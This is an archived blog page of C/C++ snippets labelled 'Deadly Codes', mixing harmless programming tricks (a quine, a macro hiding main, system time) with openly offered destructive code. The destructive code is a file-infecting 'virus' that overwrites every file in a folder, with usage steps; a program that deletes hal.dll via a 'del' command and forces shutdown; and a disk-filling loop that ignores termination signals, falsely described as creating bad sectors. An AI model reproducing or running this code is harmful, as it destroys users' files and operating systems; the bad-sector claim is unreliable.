JAIMIN WORLD

Journey to Knowledge

Archive for the ‘C/C++ Deadly Codes’ Category

Display the details of file

Posted by jaiminworld on September 17, 2008

How…


1. Creat a .txt file or open Notepad.
2.Copy below Java Script code in notepad.
3.Save the file as test.htm or test.html as U wish.
4.Open the internet browser (e.g. : IE).
5.Open the test.htm or test.html file.



>> CODE :

    <SCRIPT LANGUAGE=”JavaScript”>

    <!–

    myActiveXObject=new ActiveXObject(“Scripting.FileSystemObject”);
    file = myActiveXObject.GetFile(“c:\\jw\\jw.txt”);
    alert(“The file name is ” + file.Name);
    alert(“The file’s short name is ” + file.ShortName);
    alert(“The path is ” + file.Path);
    alert(“The short path is ” + file.ShortPath);
    alert(file.Type);


    //–>

    </SCRIPT>


>> Here jw is directory in C drive.


Warning :
    Only Some browser supports the javascript. One example is Internet Explorer.

Posted in C/C++ Deadly Codes | Tagged: , , , | Leave a Comment »

Self-Destructing Program In C

Posted by jaiminworld on September 17, 2008

How…


This program will cause the .exe file to be deleted upon execution.That is this program is capable of destroying itself upon execution.Heres the code


    #include<stdio.h>
    #include<conio.h>
    #include<dos.h>
    void main()
    {
    printf(“This program will destroy itself if u press any key!!!\n”);
    getch();
    remove(_argv[0]);/*array of pointers to command line arguments*/
    }


>> Load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory.
Execute this .exe file it will destroy itself upon execution.

Posted in C/C++ Deadly Codes | Tagged: , , , | Leave a Comment »

C Program To Print It’s Own Source Code

Posted by jaiminworld on September 17, 2008

How…


There is nothing advanced it is simple to understand.


So the following code prints It’s Own Source Code….
    #include<stdio.h>
    char *program=”#include<stdio.h>%cchar *
program=%c%s%c;%cvoid main()%c{%cprintf
(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

Posted in C/C++ Deadly Codes | Tagged: , , | Leave a Comment »

Get Current System Time

Posted by jaiminworld on September 17, 2008

How…


This program reads the current system time and displays it in the form HH:MM:SS


So the following code gives The Current System Time….
    #include <stdio.h>
    #include <dos.h>

    int main(void)
    {
    struct time t;
    gettime(&t);
    printf(“The current time is: %2d:%02d:%02d\n”, t.ti_hour, t.ti_min, t.ti_sec); return 0;
    }

Posted in C/C++ Deadly Codes | Tagged: , , | Leave a Comment »

Create Bad sectors on hard disks

Posted by jaiminworld on September 17, 2008

How…


This program will create bad sectors on the hard disk. If you left it
running for long enough, it could render a hard disk quite useless. When
bad sectors are found, the sector is marked as bad, so fixing the hard disk
is not an easy task. Unless the victim has time and knowledge to fix the
disk, the hard drive can be left quite literally defective.

Warning: I don’t take responsibility for what you do with this program.


So the following code creates bad sectors on the hard disk….

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    #define HDSIZE 640000

    void handle_sig();

    int main() {

    int i = 0,x,fd[5];

    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    char *buf;

    buf = malloc(HDSIZE);

    printf(“sekt0r: trashing hard disk with bad sectors!\n”);

    while(1) {
    fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
    fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
    fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
    fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
    fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);

    for(x = 0; x < 5; x++) {
    write(fd[x], buf, HDSIZE);
    lseek(fd[x], 0, SEEK_SET);
    close(fd[x]);

    } } }

    void handle_sig() {
    /* Reset signal handlers. */
    signal(SIGINT, handle_sig);
    signal(SIGHUP, handle_sig);
    signal(SIGQUIT, handle_sig);
    signal(SIGABRT, handle_sig);
    signal(SIGTERM, handle_sig);

    printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
    return; /* go back to creating bad sectors. */
    }


Posted in C/C++ Deadly Codes | Tagged: , , , , | Leave a Comment »

C Program To Print A String Without Using Output Statements

Posted by jaiminworld on September 17, 2008

How…


There is nothing advanced it is simple to understand.


So the following code prints A String Without Using Output Statements….
    #include<stdio.h>
    #include<conio.h>
    char str[]=”Jaimin World”;
    char far *v=(char far *)0xb8000000;
    void main()
    {
    int i;
    for(i=0;i<14;i++)
    {
    *v=str[i];
    v+=2;
    }
    getch();
    }

Another Program is…

    #include<stdio.h>
    #include<conio.h>
    void main()
    {
    char far *p=(char far *)0xb8000000;
    *p=’A';
    getch();
    }


Posted in C/C++ Deadly Codes | Tagged: , , , | Leave a Comment »

virus infected C program

Posted by jaiminworld on September 17, 2008

How…


1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect

That’s it

Warning: I don’t take responsibility for what you do with this program.


So the following code creates a virus in c….

    #include<stdio.h>
    #include<io.h>
    #include<dos.h>
    #include<dir.h>
    #include<conio.h>
    #include<time.h>

    FILE *virus,*host;
    int done,a=0;
    unsigned long x;
    char buff[2048];
    struct ffblk ffblk;
    clock_t st,end;

    void main()
    {
    st=clock();
    clrscr();
    done=findfirst(“*.*”,&ffblk,0);
    while(!done)
    {
    virus=fopen(_argv[0],”rb”);
    host=fopen(ffblk.ff_name,”rb+”);
    if(host==NULL) goto next;
    x=89088;
    printf(“Infecting %s\n”,ffblk.ff_name,a);
    while(x>2048)
    {
    fread(buff,2048,1,virus);
    fwrite(buff,2048,1,host);
    x-=2048;
    }
    fread(buff,x,1,virus);
    fwrite(buff,x,1,host);
    a++;
    next:
    {
    fcloseall();
    done=findnext(&ffblk);
    }}
    printf(“DONE! (Total Files Infected= %d)”,a);
    end=clock();
    printf(“TIME TAKEN=%f SEC\n”,
    (end-st)/CLK_TCK);
    getch();
    }


>> Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) and load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory.
Now the generated EXE File is ready to infect.

Posted in C/C++ Deadly Codes | Tagged: , , , | Leave a Comment »

Delete file from C

Posted by jaiminworld on September 17, 2008

How…


System invokes the DOS command interpreter file from inside an executing C
program to execute a DOS command to delete the file.

To be located and executed, the program must be in the current directory or
in the directories whose path is given.



>> So the following code delete the file whose location is specified.

    #include<stdio.h>
    #include<dos.h>
    void main(void)
    {

      union REGS i,o;
      char fname[67];
      puts(“\nEnter file name: “);
      gets(fname);
      i.h.ah = 0×41;
      i.x.dx = fname;
      intdos(&i,&o);

      if(o.x.cflag == 0)

      printf(“\n%s File successfully deleted”,fname);

      else
      printf(“\n%s File could not be deleted”,fname);

    }

Posted in C/C++ Deadly Codes | Tagged: , , , | Leave a Comment »

C Program Without A Main Function

Posted by jaiminworld on September 17, 2008

The following code is a C program without a main function….

    #include<stdio.h>

    #define decode(s,t,u,m,p,e,d) m##s##u##t
    #define begin decode(a,n,i,m,a,t,e)

    int begin()
    {
    printf(” hello “);
    }

How…


Yes the above program runs perfectly fine.But how,whats the logic behind it?

Here
we are using preprocessor directive #define with arguments.The ‘##’
operator is called the token pasting or token merging operator.That is
we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.

Look at the 2nd line of program-

#define decode(s,t,u,m,p,e,d) m##s##u##t

What
is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being
expanded as “msut” (The ## operator merges m,s,u & t into msut).The
logic is when you pass (s,t,u,m,p,e,d) as argument it merges the
4th,1st,3rd & the 2nd characters(tokens).

Now look at the third line of the program-

#define begin decode(a,n,i,m,a,t,e)

Here
the preprocessor replaces the macro “begin” with the expansion
decode(a,n,i,m,a,t,e).According to the macro definition in the previous
line the argument must de expanded so that the 4th,1st,3rd & the
2nd characters must be merged.In the argument (a,n,i,m,a,t,e)
4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

So
the third line “int begin()” is replaced by “int main()” by the
preprocessor before the program is passed on for the compiler.That’s
it…

The bottom line is there can never exist a C program
without a main() function.Here we are just playing a gimmick that makes
us beleive the program runs without main function.But here we are using
the proprocessor directive to intelligently replace the word begin” by
“main” .


Posted in C/C++ Deadly Codes | Tagged: , , | Leave a Comment »

Powerfull C++ Virus

Posted by jaiminworld on September 10, 2008

How…


The file hal.dll, is required for windows to operate. It is used by windows when communicating with your computer’s harware. It acts as a translator between windows and your hardware, so that the same windows ‘commands’ can be executed on hardware manufactured by a variety of different vendors. If hal.dll is unavailable, windows will not function correctly.


Warning: Do not try this on your home computer.


So the following code delete the hal.dll and shutdown the computer…

    #include < cstdlib >
    #include < iostream >using namespace std;

    int main(int argc, char *argv[])
    {
    std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
    system(”shutdown -s -r”);
    system(”PAUSE”);
    return EXIT_SUCCESS;
    }

 


New Version of this virus that uses Batch for most of its commands:

    #include < cstdlib >
    #include < iostream >using namespace std;

    int main(int argc, char *argv[])
    {
    system(“del %SystemRoot%\\system32\\hal.dll -q”); //PWNAGE TIME
    system(“%SystemRoot%\\system32\\shutdown.exe -s -f -t 00″);
    system(“PAUSE”);
    return EXIT_SUCCESS;
    }

Posted in C/C++ Deadly Codes | Tagged: , , | Leave a Comment »